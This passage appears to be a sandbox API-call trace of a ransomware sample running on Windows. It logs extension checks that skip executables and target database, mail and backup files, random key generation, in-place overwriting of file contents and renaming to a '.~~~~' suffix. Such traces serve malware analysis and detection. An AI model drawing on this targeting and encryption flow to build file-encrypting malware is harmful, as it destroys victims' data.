	[0077.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.~~~~")) returned 1
	[0077.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0077.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.610] GetLastError () returned 0x0
	[0077.610] RtlWakeConditionVariable () returned 0x365f70
	[0077.610] GetCurrentThreadId () returned 0x3a4
	[0077.610] GetCurrentThreadId () returned 0x3a4
	[0077.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0077.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9538 | out: hHeap=0x300000) returned 1
	[0077.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab8b8
	[0077.611] lstrlenW (lpString=".scr") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".scr") returned 0x0
	[0077.611] lstrlenW (lpString=".cmd") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".cmd") returned 0x0
	[0077.611] lstrlenW (lpString=".dll") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dll") returned 0x0
	[0077.611] lstrlenW (lpString=".bat") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".bat") returned 0x0
	[0077.611] lstrlenW (lpString=".cpl") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".cpl") returned 0x0
	[0077.611] lstrlenW (lpString=".sys") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".sys") returned 0x0
	[0077.611] lstrlenW (lpString=".msc") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".msc") returned 0x0
	[0077.611] lstrlenW (lpString=".com") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".com") returned 0x0
	[0077.611] lstrlenW (lpString=".lnk") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".lnk") returned 0x0
	[0077.611] lstrlenW (lpString=".msp") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".msp") returned 0x0
	[0077.611] lstrlenW (lpString=".pif") returned 4
	[0077.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".pif") returned 0x0
	[0077.611] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0077.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.653] lstrlenW (lpString=".sqb") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".sqb") returned 0x0
	[0077.653] lstrlenW (lpString=".ost") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".ost") returned 0x0
	[0077.653] lstrlenW (lpString=".txt") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".txt") returned 0x0
	[0077.653] lstrlenW (lpString=".mdt") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".mdt") returned 0x0
	[0077.653] lstrlenW (lpString=".BDB") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".BDB") returned 0x0
	[0077.653] lstrlenW (lpString=".eql") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".eql") returned 0x0
	[0077.653] lstrlenW (lpString=".DBF") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DBF") returned 0x0
	[0077.653] lstrlenW (lpString=".EQL") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".EQL") returned 0x0
	[0077.653] lstrlenW (lpString=".FDB") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".FDB") returned 0x0
	[0077.653] lstrlenW (lpString=".EDB") returned 4
	[0077.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".EDB") returned 0x0
	[0077.653] lstrlenW (lpString=".DACPAC") returned 7
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DACPAC") returned 0x0
	[0077.654] lstrlenW (lpString=".VHD") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".VHD") returned 0x0
	[0077.654] lstrlenW (lpString=".DBV") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DBV") returned 0x0
	[0077.654] lstrlenW (lpString=".dacpac") returned 7
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dacpac") returned 0x0
	[0077.654] lstrlenW (lpString=".sdf") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".sdf") returned 0x0
	[0077.654] lstrlenW (lpString=".accdb") returned 6
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".accdb") returned 0x0
	[0077.654] lstrlenW (lpString=".DBX") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DBX") returned 0x0
	[0077.654] lstrlenW (lpString=".MDT") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".MDT") returned 0x0
	[0077.654] lstrlenW (lpString=".SQB") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".SQB") returned 0x0
	[0077.654] lstrlenW (lpString=".vhd") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".vhd") returned 0x0
	[0077.654] lstrlenW (lpString=".bac") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".bac") returned 0x0
	[0077.654] lstrlenW (lpString=".mdf") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".mdf") returned 0x0
	[0077.654] lstrlenW (lpString=".BAK") returned 4
	[0077.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".BAK") returned 0x0
	[0077.654] lstrlenW (lpString=".BAC") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".BAC") returned 0x0
	[0077.655] lstrlenW (lpString=".dbs") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dbs") returned 0x0
	[0077.655] lstrlenW (lpString=".vhdx") returned 5
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".vhdx") returned 0x0
	[0077.655] lstrlenW (lpString=".NDF") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".NDF") returned 0x0
	[0077.655] lstrlenW (lpString=".dat") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dat") returned 0x0
	[0077.655] lstrlenW (lpString=".DBS") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DBS") returned 0x0
	[0077.655] lstrlenW (lpString=".CKP") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".CKP") returned 0x0
	[0077.655] lstrlenW (lpString=".edb") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".edb") returned 0x0
	[0077.655] lstrlenW (lpString=".PST") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".PST") returned 0x0
	[0077.655] lstrlenW (lpString=".dbf") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dbf") returned 0x0
	[0077.655] lstrlenW (lpString=".SQL") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".SQL") returned 0x0
	[0077.655] lstrlenW (lpString=".pst") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".pst") returned 0x0
	[0077.655] lstrlenW (lpString=".dbv") returned 4
	[0077.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dbv") returned 0x0
	[0077.656] lstrlenW (lpString=".SDF") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".SDF") returned 0x0
	[0077.656] lstrlenW (lpString=".dtxs") returned 5
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dtxs") returned 0x0
	[0077.656] lstrlenW (lpString=".db3") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".db3") returned 0x0
	[0077.656] lstrlenW (lpString=".OST") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".OST") returned 0x0
	[0077.656] lstrlenW (lpString=".dbx") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dbx") returned 0x0
	[0077.656] lstrlenW (lpString=".DB3") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DB3") returned 0x0
	[0077.656] lstrlenW (lpString=".DAT") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DAT") returned 0x0
	[0077.656] lstrlenW (lpString=".VHDX") returned 5
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".VHDX") returned 0x0
	[0077.656] lstrlenW (lpString=".ndf") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".ndf") returned 0x0
	[0077.656] lstrlenW (lpString=".DB") returned 3
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DB") returned 0x0
	[0077.656] lstrlenW (lpString=".sql") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".sql") returned 0x0
	[0077.656] lstrlenW (lpString=".MYD") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".MYD") returned 0x0
	[0077.656] lstrlenW (lpString=".DBT") returned 4
	[0077.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DBT") returned 0x0
	[0077.656] lstrlenW (lpString=".ACCDB") returned 6
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".ACCDB") returned 0x0
	[0077.657] lstrlenW (lpString=".fdb") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".fdb") returned 0x0
	[0077.657] lstrlenW (lpString=".bak") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".bak") returned 0x0
	[0077.657] lstrlenW (lpString=".myd") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".myd") returned 0x0
	[0077.657] lstrlenW (lpString=".DTXS") returned 5
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".DTXS") returned 0x0
	[0077.657] lstrlenW (lpString=".ckp") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".ckp") returned 0x0
	[0077.657] lstrlenW (lpString=".dbt") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".dbt") returned 0x0
	[0077.657] lstrlenW (lpString=".db") returned 3
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".db") returned 0x0
	[0077.657] lstrlenW (lpString=".TXT") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".TXT") returned 0x0
	[0077.657] lstrlenW (lpString=".MDF") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".MDF") returned 0x0
	[0077.657] lstrlenW (lpString=".bdb") returned 4
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".bdb") returned 0x0
	[0077.657] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.658] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.659] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.659] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.659] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19764885787) returned 1
	[0077.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x982f8090, dwHighDateTime=0x1d60e1e)) 
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23a0
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23a0 | out: hHeap=0x300000) returned 1
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab6c0
	[0077.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab6c0 | out: hHeap=0x300000) returned 1
	[0077.659] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.660] GetLastError () returned 0x0
	[0077.660] GetLastError () returned 0x0
	[0077.660] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.660] GetLastError () returned 0x0
	[0077.660] GetLastError () returned 0x0
	[0077.660] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.666] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.667] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.669] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.670] CloseHandle (hObject=0x130) returned 1
	[0077.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0077.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.~~~~")) returned 1
	[0077.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab6c0 | out: hHeap=0x300000) returned 1
	[0077.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.671] GetLastError () returned 0x0
	[0077.671] RtlWakeConditionVariable () returned 0x365f70
	[0077.671] GetCurrentThreadId () returned 0x3a4
	[0077.671] GetCurrentThreadId () returned 0x3a4
	[0077.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab960 | out: hHeap=0x300000) returned 1
	[0077.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95a8 | out: hHeap=0x300000) returned 1
	[0077.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0077.671] lstrlenW (lpString=".scr") returned 4
	[0077.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".scr") returned 0x0
	[0077.671] lstrlenW (lpString=".cmd") returned 4
	[0077.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".cmd") returned 0x0
	[0077.672] lstrlenW (lpString=".dll") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dll") returned 0x0
	[0077.672] lstrlenW (lpString=".bat") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".bat") returned 0x0
	[0077.672] lstrlenW (lpString=".cpl") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".cpl") returned 0x0
	[0077.672] lstrlenW (lpString=".sys") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".sys") returned 0x0
	[0077.672] lstrlenW (lpString=".msc") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".msc") returned 0x0
	[0077.672] lstrlenW (lpString=".com") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".com") returned 0x0
	[0077.672] lstrlenW (lpString=".lnk") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".lnk") returned 0x0
	[0077.672] lstrlenW (lpString=".msp") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".msp") returned 0x0
	[0077.672] lstrlenW (lpString=".pif") returned 4
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".pif") returned 0x0
	[0077.672] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch="msp\r\n.pif") returned 0x0
	[0077.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.673] lstrlenW (lpString=".sqb") returned 4
